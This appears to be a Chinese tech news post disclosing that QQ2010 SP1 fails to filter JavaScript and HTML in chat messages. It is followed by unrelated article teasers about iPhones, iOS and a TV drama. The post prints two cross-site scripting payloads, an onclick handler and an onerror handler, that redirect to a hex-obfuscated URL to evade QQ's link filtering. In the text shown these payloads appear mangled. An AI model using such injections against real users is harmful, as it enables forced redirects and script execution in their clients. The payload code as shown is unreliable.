腾讯QQ2010SP1正式版惊现低级漏洞
腾讯QQ一向是腾讯主打的产品,意想不到前天发布的QQ2010SP1竟然有如此大漏洞。用户可以随意在消息中使用Javascript、Html,腾讯并没有对此进行有效的屏蔽,如此低级漏洞,在QQ这样的软件中出现实属罕见。
截止发稿之日起,腾讯还没有对此漏洞给出解决办法,网友只有去下载试用QQ2010正式版来避免此问题。
点击下载:QQ2010SP1正式版
首先囧一下:脚本出错还会提示错误
1、消息记录的Javascript、Html标签没有屏蔽
2、消息盒子Javascript、Html标签没有屏蔽
3、小实验
1、发送代码:<input onclick="tion=’x68x74x74x70x3ax2fx2fx77x77x77x2ex62x6fx77x6fx73x2ex63x6fx6d’" />
因为腾讯会自动将url转换,我们必须混淆url才能发送
4、超牛代码
<img src=’tetet’ onerror="tion=’x68x74x74x70x3ax2fx2fx77x77x77x2ex62x6fx77x6fx73x2ex63x6fx6d’"/>
因为要点击才能触发,想到一个不用点击就能触发的代码。
5、希望腾讯快点修复,这个漏洞非同小可
6、本漏洞由TGL发现。
-
iPhone14Pro支持5G吗 iPhone14Pro支持wifi6吗
近日网上曝光了iPhone14Pro实物图片,这意味着距离iPhone14Pro的发售又近了一点!那么此次苹果新出的iPhone15Pro是否支持5G、wifi6呢?可以插双卡吗?是否值得入手呢?下面一起来看看吧!iPhone14Pro支持5G吗这次iphone14将会搭载的是高通骁龙的X65基带芯片,并且支持5G网络...
-
iOS17.5续航耗电测评 iOS17.5支持哪些机型
近日苹果推出了正式版的ios17.5系统,不过网上也爆出了很多问题,比如更新之后恢复已删除多年照片,是不是很神奇。那全新的iOS17.5的续航怎么样呢?耗不耗电呢?下面就和小编一起来看看吧。iOS17.5续航耗电测评测试简介测试系统:iOS17.5正式版。测试内容:续航、续航跑分、...
-
东北插班生在哪里可以看?哪个平台?东北插班生在哪拍的?
近日一口气炫24集东北插班生上了热搜,也让很多小伙伴关注到这部网剧,因为南北文化的差异,看起来还是很有意思的,那东北插班生在台湾拍的吗?演员表都有谁呢?他们的学校在哪呢?下面一起来看看吧。东北插班生在哪里可以看?哪个平台?东北插班生在爱奇艺播出。东北插班生由彭...
-
卡塔尔世界杯吉祥物中文叫什么名字?卡塔尔世界杯吉祥物多少钱一个?
卡塔尔世界杯开幕式昨晚已经开始了,小伙伴们有准时收看吗?这次的世界杯中国的元素还是很多的,大部分都是中国制造,那大家知道世界杯的吉祥物中文名叫什么吗?下面一起来看看吧。卡塔尔世界杯吉祥物中文叫什么名字?卡塔尔世界杯吉祥物中文名字叫拉伊卜。该吉祥物因为外...
相关文章
- 腾讯QQ2010正式版SP3下载 QQ会员优先体验
- QQ2010SP1正式版功能介绍 qq2010正式版SP1官方下载
- QQ2010正式版SP1发布 QQ现在集成了浏览器窗口
- 2011年腾讯QQ最新版本发布 QQ2010正式版SP3.1下载
- QQ2010正式版SP2.1 简体版全新体验 QQ2010正式版SP2.1官方下载
- 腾讯qq2013正式版SP5诚邀您体验 群视频聊天新增教育模式
- 腾讯QQ2010正式版SP3.1优先体验 我的QQ我做主
- 腾讯qq2014 Beta体验版月底内测 SP5正式版下载发布
- 腾讯qq2013正式版sp4诚邀您体验 文件转发功能升级
- 腾讯qq2013正式版SP4全员发布了 版本号为8796